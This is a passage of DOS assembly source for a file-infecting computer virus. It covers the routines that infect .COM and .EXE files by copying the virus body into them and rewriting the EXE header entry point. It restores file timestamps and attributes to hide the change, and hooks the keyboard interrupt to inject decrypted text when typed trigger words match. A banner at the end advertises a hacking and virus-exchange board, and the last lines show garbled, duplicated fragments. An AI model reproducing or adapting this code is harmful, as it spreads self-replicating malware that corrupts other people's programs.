  665.     INT    21H            ; DOS service (Set attributes)
  666.     ASSUME    DS:NOTHING
  667. BP0370:    JB    BP0380            ; Follow chain of error branches
  668.     MOV    BX,F_HAND        ; Get file handle
  669.     MOV    AH,3EH            ; Close handle
  670.     INT    21H            ; DOS service (Close handle)
  671.     MOV    F_HAND,-1        ; No file handle
  672.     MOV    AX,3D02H        ; Open handle read/write
  673.     INT    21H            ; DOS service (Open handle)
  674.     JB    BP0380            ; Follow chain of error branches
  675.     MOV    F_HAND,AX        ; Save file handle
  676.     MOV    AX,CS            ; \
  677.     MOV    DS,AX            ;  ) Make DS & ES same as CS
  678.     MOV    ES,AX            ; /
  679.     ASSUME    DS:CODE
  680.     MOV    BX,F_HAND        ; Get file handle
  681.     MOV    AX,5700H        ; Get file date and time
  682.     INT    21H            ; DOS service (Get file date)
  683.     MOV    F_DATE,DX        ; Save file date
  684.     MOV    F_TIME,CX        ; Save file time
  685.     MOV    AX,4200H        ; Move file pointer
  686.     XOR    CX,CX            ; \ Beginning of file
  687.     MOV    DX,CX            ; /
  688.     INT    21H            ; DOS service (Move pointer)
  689. BP0380:    JB    BP0410            ; Follow chain of error branches
  690.     CMP    EXE_SW,0        ; Test EXE switch
  691.     JE    BP0390            ; Branch if off
  692.     JMP    BP0430            ; Process EXE file
  693.  
  694.     ; .COM file processing
  695.  
  696. BP0390:    MOV    BX,1000H        ; 64K of memory wanted
  697.     MOV    AH,48H            ; Allocate memory
  698.     INT    21H            ; DOS service (Allocate memory)
  699.     JNB    BP0400            ; Branch if successful
  700.     MOV    AH,3EH            ; Close handle
  701.     MOV    BX,F_HAND        ; Get file handle
  702.     INT    21H            ; DOS service (Close handle)
  703.     JMP    BP0530            ; Terminate
  704.  
  705. BP0400:    INC    MEM_SW            ; Set on memory allocated switch
  706.     MOV    ES,AX            ; Segment of allocated memory
  707.     XOR    SI,SI            ; Start of virus
  708.     MOV    DI,SI            ; Start of allocated memory
  709.     MOV    CX,OFFSET ENDADR    ; Length of virus
  710.     REPZ    MOVSB            ; Copy virus to allocated
  711.     MOV    DX,DI            ; Address after virus
  712.     MOV    CX,F_SIZE        ; Total file size
  713.     MOV    BX,F_HAND        ; Get file handle
  714.     PUSH    ES            ; \ Set DS to ES
  715.     POP    DS            ; /
  716.     MOV    AH,3FH            ; Read handle
  717.     INT    21H            ; DOS service (Read handle)
  718. BP0410:    JB    BP0420            ; Follow chain of error branches
  719.     ADD    DI,CX            ; Add previous file size
  720.     XOR    CX,CX            ; \ Beginning of file
  721.     MOV    DX,CX            ; /
  722.     MOV    AX,4200H        ; Move file pointer
  723.     INT    21H            ; DOS service (Move pointer)
  724.     MOV    SI,OFFSET VR_SIG    ; Signature
  725.     MOV    CX,6            ; Length to move
  726.     REPZ    MOVS    [DI],CS:VR_SIG    ; Copy signature to end
  727.     MOV    CX,DI            ; Length to write
  728.     XOR    DX,DX            ; Start of allocated
  729.     MOV    AH,40H            ; Write handle
  730.     INT    21H            ; DOS service (Write handle)
  731. BP0420:    JB    BP0440            ; Follow chain of error branches
  732.     JMP    BP0510            ; Free memory and reset values
  733.  
  734.     ; .EXE file processing
  735.  
  736. BP0430:    MOV    CX,1CH            ; Length of EXE header
  737.     MOV    DX,OFFSET EXEHED    ; .EXE header store
  738.     MOV    AH,3FH            ; Read handle
  739.     INT    21H            ; DOS service (Read handle)
  740. BP0440:    JB    BP0460            ; Follow chain of error branches
  741.     MOV    EXHD09,1988H        ; Negative checksum
  742.     MOV    AX,EXHD07        ; \ Store initial stack segment
  743.     MOV    PRG_SS,AX        ; /
  744.     MOV    AX,EXHD08        ; \ Store initial stack pointer
  745.     MOV    PRG_SP,AX        ; /
  746.     MOV    AX,EXHD10        ; \ Store initial code offset
  747.     MOV    PRGOFF,AX        ; /
  748.     MOV    AX,EXHD11        ; \ Store initial code segment
  749.     MOV    PRGSEG,AX        ; /
  750.     MOV    AX,EXHD02        ; Get size of file in pages
  751.     CMP    EXHD01,0        ; Number of bytes in last page
  752.     JE    BP0450            ; Branch if none
  753.     DEC    AX            ; One less page
  754. BP0450:    MUL    BYTSEC            ; Bytes per sector
  755.     ADD    AX,EXHD01        ; \ Add bytes in last page
  756.     ADC    DX,0            ; /
  757.     ADD    AX,0FH            ; \ Round up
  758.     ADC    DX,0            ; /
  759.     AND    AX,0FFF0H        ; Clear bottom figure
  760.     MOV    F_SIZ1,AX        ; Save low-order file size
  761.     MOV    F_SIZ2,DX        ; Save high-order file size
  762.     ADD    AX,OFFSET ENDADR    ; \ Add virus length
  763.     ADC    DX,0            ; /
  764. BP0460:    JB    BP0480            ; Follow chain of error branches
  765.     DIV    BYTSEC            ; Bytes per sector
  766.     OR    DX,DX            ; Test odd bytes
  767.     JZ    BP0470            ; Branch if none
  768.     INC    AX            ; One more page for odd bytes
  769. BP0470:    MOV    EXHD02,AX        ; Store size of file in pages
  770.     MOV    EXHD01,DX        ; Store bytes in last page
  771.     MOV    AX,F_SIZ1        ; Low-order file size
  772.     MOV    DX,F_SIZ2        ; High-order file size
  773.     DIV    PARAGR            ; Size of a paragraph
  774.     SUB    AX,EXHD04        ; Size of header in paragraphs
  775.     MOV    EXHD11,AX        ; Initial code segment
  776.     MOV    EXHD10,OFFSET BP0030    ; Initial code offset
  777.     MOV    EXHD07,AX        ; Initial stack segment
  778.     MOV    EXHD08,OFFSET ENDADR    ; Initial stack pointer
  779.     XOR    CX,CX            ; \ Beginning of file
  780.     MOV    DX,CX            ; /
  781.     MOV    AX,4200H        ; Move file pointer
  782.     INT    21H            ; DOS service (Move pointer)
  783. BP0480:    JB    BP0490            ; Follow chain of error branches
  784.     MOV    CX,1CH            ; Length of EXE header
  785.     MOV    DX,OFFSET EXEHED    ; .EXE header store
  786.     MOV    AH,40H            ; Write handle
  787.     INT    21H            ; DOS service (Write handle)
  788. BP0490:    JB    BP0500            ; Follow chain of error branches
  789.     CMP    AX,CX            ; Has same length been written
  790.     JNE    BP0510            ; Branch if not
  791.     MOV    DX,F_SIZ1        ; Low-order file size
  792.     MOV    CX,F_SIZ2        ; High-order file size
  793.     MOV    AX,4200H        ; Move file pointer
  794.     INT    21H            ; DOS service (Move pointer)
  795. BP0500:    JB    BP0510            ; Follow chain of error branches
  796.     XOR    DX,DX            ; Address beginning of virus
  797.     MOV    CX,OFFSET ENDADR    ; Length of virus
  798.     MOV    AH,40H            ; Write handle
  799.     INT    21H            ; DOS service (Write handle)
  800.     ASSUME    DS:NOTHING
  801. BP0510:    CMP    MEM_SW,0        ; Test memory allocated switch
  802.     JE    BP0520            ; Branch if off
  803.     MOV    AH,49H            ; Free allocated memory
  804.     INT    21H            ; DOS service (Free memory)
  805. BP0520:    CMP    F_HAND,-1        ; Test file handle
  806.     JE    BP0530            ; Terminate if none
  807.     MOV    BX,F_HAND        ; Get file handle
  808.     MOV    DX,F_DATE        ; Get file date
  809.     MOV    CX,F_TIME        ; Get file time
  810.     MOV    AX,5701H        ; Set file date and time
  811.     INT    21H            ; DOS service (Set file date)
  812.     MOV    AH,3EH            ; Close handle
  813.     INT    21H            ; DOS service (Close handle)
  814.     LDS    DX,F_PATH        ; Address program pathname
  815.     MOV    CX,F_ATTS        ; Load file attributes
  816.     MOV    AX,4301H        ; Set file attributes
  817.     INT    21H            ; DOS service (Set attributes)
  818.     LDS    DX,INT_24        ; Original interrupt 24H address
  819.     MOV    AX,2524H        ; Set interrupt 24H
  820.     INT    21H            ; DOS service (Set int)
  821. BP0530:    POP    ES
  822.     POP    DS
  823.     POP    DI
  824.     POP    SI
  825.     POP    DX
  826.     POP    CX
  827.     POP    BX
  828.     POP    AX
  829.     POPF
  830.     JMP    INT_21            ; Interrupt 21H
  831.  
  832.     ; Interrupt 16H routine
  833.  
  834. BP0540:    PUSHF                ; Fake an interrupt
  835.     CMP    AH,0            ; Get a token function?
  836.     JE    BP0550            ; Branch if yes
  837.     POPF                ; Fake interrupt not needed
  838.     JMP    INT_16            ; Pass on to original interrupt
  839.  
  840. BP0550:    CALL    INT_16            ; Deal with original interrupt
  841.     PUSH    AX
  842.     PUSH    BX
  843.     PUSH    DI
  844.     PUSH    DS
  845.     PUSH    ES
  846.     PUSH    CS            ; \ Set DS to CS
  847.     POP    DS            ; /
  848.     XOR    BX,BX            ; \ Set ES to zero
  849.     MOV    ES,BX            ; /
  850.     ASSUME    DS:CODE,ES:RAM
  851.     CMP    OUT_SW,0        ; Is output switch on?
  852.     JNE    BP0630            ; Branch if yes
  853.     OR    AL,20H            ; Convert to lower case
  854.     XOR    AL,0AFH            ; Decrypt character
  855.     MOV    DI,OFFSET TABLE        ; Address first entry
  856. BP0560:    CMP    BYTE PTR [DI],0        ; Is this the end of the table?
  857.     JE    BP0590            ; Branch if yes
  858.     XOR    BX,BX            ; Clear register
  859.     MOV    BL,[DI+1]        ; Get current character pointer
  860.     ADD    BX,[DI+2]        ; Add current entry pointer
  861.     CMP    AL,[BX]            ; Is character the one we want?
  862.     JE    BP0570            ; Branch if yes
  863.     MOV    BYTE PTR [DI+1],0    ; Clear character pointer
  864.     JMP    BP0580
  865.  
  866. BP0570:    INC    BYTE PTR [DI+1]
  867. BP0580:    ADD    DI,4            ; Next entry
  868.     JMP    BP0560            ; Process next entry
  869.  
  870. BP0590:    MOV    DI,OFFSET TABLE        ; Address first entry
  871. BP0600:    CMP    BYTE PTR [DI],0        ; Is this the end of the table?
  872.     JE    BP0610            ; Branch if yes
  873.     MOV    AL,[DI+1]        ; Get current character pointer
  874.     CMP    AL,[DI]            ; Do we have a complete match?
  875.     JNE    BP0620            ; Branch if not
  876.     MOV    TABOUT,DI        ; Save relevant pointer
  877.     INC    OUT_SW            ; Set on output switch
  878.     MOV    AX,40H            ; \ Address RAM
  879.     MOV    ES,AX            ; /
  880.     ASSUME    ES:RAM40
  881.     MOV    AX,BW041A        ; Get key token in pointer
  882.     MOV    BW041C,AX        ; Set key token out pointer
  883.     CALL    BP0640            ; Put a character into the buffer
  884. BP0610:    POP    ES
  885.     POP    DS
  886.     POP    DI
  887.     POP    BX
  888.     POP    AX
  889.     IRET
  890.  
  891. BP0620:    ADD    DI,4            ; Next entry
  892.     JMP    BP0600            ; Process next entry
  893.  
  894. BP0630:    MOV    AX,40H            ; \ Address RAM
  895.     MOV    ES,AX            ; /
  896.     CALL    BP0640            ; Put a character into the buffer
  897.     XOR    BX,BX            ; Clear register
  898.     MOV    BL,[DI+1]        ; Get current character pointer
  899.     ADD    BX,[DI+2]        ; Add entry pointer
  900.     CMP    BYTE PTR [BX],0        ; Was that the last character?
  901.     JNE    BP0610            ; Branch if not
  902.     MOV    OUT_SW,0        ; Set off output switch
  903.     JMP    BP0610
  904.  
  905. BP0640:    MOV    DI,TABOUT        ; Address relevant table entry
  906.     XOR    BX,BX            ; Clear register
  907.     MOV    BL,[DI+1]        ; Get current character pointer
  908.     ADD    BX,[DI+2]        ; Add entry pointer
  909.     MOV    AL,[BX]            ; Get the character
  910.     XOR    AL,0AFH            ; Decrypt character
  911.     INC    BYTE PTR [DI+1]        ; Next character
  912.     MOV    AH,AL            ; Copy for translate
  913.     MOV    BX,OFFSET KEYTAB    ; Address key number table
  914.     XLAT                ; Get key number
  915.     XCHG    AH,AL            ; Reserve order
  916.     MOV    BX,BW041C        ; Get key token out pointer
  917.     MOV    ES:[BX],AX        ; Put key token into buffer
  918.     INC    BX            ; \ Next buffer position
  919.     INC    BX            ; /
  920.     CMP    BX,BW0482        ; Passed end of buffer?
  921.     JNE    BP0650            ; Branch if not
  922.     MOV    BX,BW0480        ; Get buffer start
  923. BP0650:    MOV    BW041C,BX        ; Save new key token out pointer
  924.     RET
  925.  
  926.     ; Stack area - This is also necessary to make the virus a complete
  927.     ; number of paragraphs
  928.  
  929.     DB    04CH, 002H, 0AAH, 031H, 09EH, 002H, 0A5H, 031H
  930.  
  931. ENDADR    EQU    $
  932.  
  933. CODE    ENDS
  934.  
  935.     END    START
  936. ete
  937.     ; number of paragraphs
  938.  
  939.     DB    04CH,
  940. ; ─────────────────────────────────────────────────────────────────────────
  941. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  942. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  943. ; ─────────────────────────────────────────────────────────────────────────
  944.  
  945.